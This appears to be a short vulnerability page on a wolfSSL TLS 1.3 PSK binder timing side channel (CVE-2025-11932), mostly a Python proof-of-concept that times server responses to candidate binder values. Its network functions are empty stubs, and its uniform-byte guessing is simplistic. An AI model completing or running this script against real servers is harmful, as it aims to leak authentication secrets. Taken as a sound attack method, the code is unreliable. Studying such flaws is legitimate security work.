wolfSSL TLS 1.3 PSK binder时序侧信道信息泄露漏洞(CVE-2025-11932)

// CVE-2025-11932 PoC - TLS 1.3 PSK Binder Timing Attack Concept // This is a conceptual PoC demonstrating the timing attack vector import time import struct def measure_response_time(client_hello, binder_value): """Measure server response time for PSK binder validation""" start = time.perf_counter() # Simulate sending modified client hello with different binder values response = send_tls13_client_hello(client_hello, binder_value) end = time.perf_counter() return end - start def timing_attack_poc(target_host): """ Conceptual timing attack to detect PSK binder timing differences Note: This is for educational purposes only """ results = [] # Generate test binder values test_binders = [] for i in range(256): binder = bytes([i] * 32) # 32-byte binder candidate test_binders.append(binder) # Measure timing for each binder value for binder in test_binders: timings = [] for _ in range(100): # Multiple measurements for accuracy t = measure_response_time(generate_client_hello(), binder) timings.append(t) avg_time = sum(timings) / len(timings) results.append((binder[0], avg_time)) # Identify binder values with anomalous timing results.sort(key=lambda x: x[1]) return results[:10] # Return top 10 timing anomalies def send_tls13_client_hello(client_hello, binder): """Simulate TLS 1.3 ClientHello with PSK binder""" # Implementation would send actual TLS 1.3 ClientHello pass def generate_client_hello(): """Generate TLS 1.3 ClientHello with PSK extension""" pass